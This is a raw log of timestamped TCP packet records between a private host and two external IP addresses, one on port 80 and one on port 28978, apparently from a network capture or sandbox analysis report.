Oct 29, 2021 20:30:51.370603085 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.370623112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370646000 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.370661974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370702028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370718002 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.370740891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370778084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370794058 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.370820999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370860100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370873928 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.370901108 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370940924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.370959044 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.370980024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371018887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371038914 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371058941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371098995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371114016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371138096 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371176958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371192932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371217012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371258020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371272087 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371290922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371342897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371584892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371624947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371665001 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371689081 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371690989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371731043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371743917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371773005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371824026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371835947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371854067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371891975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371902943 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371928930 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371967077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.371974945 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.371994972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.372076035 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.402699947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.402878046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.402900934 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.402923107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.402988911 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.403007030 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.403014898 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.403037071 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.403053999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.403089046 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.404391050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.404407978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.404483080 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.687864065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.688038111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.808386087 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.851723909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852022886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852051973 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852072954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852097988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852118969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852118015 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852139950 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852150917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852164984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852185965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852190018 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852209091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852212906 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852232933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852255106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852257013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852278948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852293968 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852300882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852324009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852339029 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.852345943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852370024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.852386951 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.884618998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884646893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884670019 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884694099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884718895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884742975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884766102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884763956 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.884788990 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884814978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884826899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.884839058 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884885073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884896994 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.884907007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884929895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884932995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.884952068 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.884972095 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.884977102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885003090 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885019064 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885025978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885050058 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885066032 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885071993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885097027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885108948 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885119915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885176897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885219097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885240078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885256052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885272026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885283947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885288000 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885304928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885320902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885322094 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885337114 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885350943 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885353088 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885370016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.885379076 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.885412931 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.917804956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.917876959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.917929888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.917983055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918035030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918040991 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918076992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918078899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918112993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918123960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918149948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918184996 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918195963 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918221951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918256044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918283939 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918291092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918327093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918333054 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918364048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918406010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918416023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918457985 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918493986 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918499947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918530941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918569088 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918581009 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918606997 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918647051 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.918870926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918925047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918962955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.918975115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919013023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919051886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919054031 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919104099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919147968 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919156075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919197083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919239044 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919243097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919296026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919333935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919337034 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919368029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919409037 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919415951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919469118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919512987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919521093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919565916 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919608116 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919611931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919651031 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919687033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919692039 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919738054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919866085 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.919898987 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919935942 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919969082 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.919976950 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920006037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920047045 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920052052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920089006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920125008 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920130014 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920159101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920193911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920198917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920228958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920264006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920269966 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920300007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920335054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920340061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920372963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920408964 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920413017 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920443058 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920478106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920480013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920514107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920547962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920555115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.920583963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920618057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.920623064 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.951689005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951742887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951775074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951803923 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951843977 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951886892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951924086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.951956987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.951963902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.952019930 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.953551054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953597069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953632116 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.953663111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953720093 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.953722954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953764915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953825951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953831911 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.953900099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953947067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.953948021 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954005003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954052925 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954056978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954114914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954157114 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954159021 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954201937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954246998 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954261065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954319000 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954358101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954374075 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954397917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954436064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954449892 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954474926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954514980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954524040 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954555035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954593897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954627037 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954632044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954679012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954684019 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954741001 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954781055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954786062 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:51.954819918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954858065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:51.954864979 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:52.047771931 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:52.301124096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:31:06.926748991 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.950490952 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.950514078 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.950694084 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.950704098 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.950795889 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.974572897 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.974606991 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.974744081 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.974785089 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.974792004 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.974884987 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.975136995 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.975248098 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.998444080 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.998625040 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.999007940 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.999118090 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.999270916 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.999344110 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:06.999347925 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.999471903 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.999670982 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:06.999999046 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.000097990 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.000124931 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.000215054 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.000401020 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.000503063 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.022433043 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.022464991 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.022635937 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.022891045 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.023081064 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.023607016 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024100065 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024105072 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024122000 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024135113 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024461985 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.024519920 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024552107 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.024976969 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.024992943 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.025325060 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.025480986 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.025743008 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.025979042 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.026503086 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.046557903 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.046591997 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:31:07.047034025 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.047163963 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:31:07.048695087 CEST	28978	49818	93.115.20.139	192.168.2.7
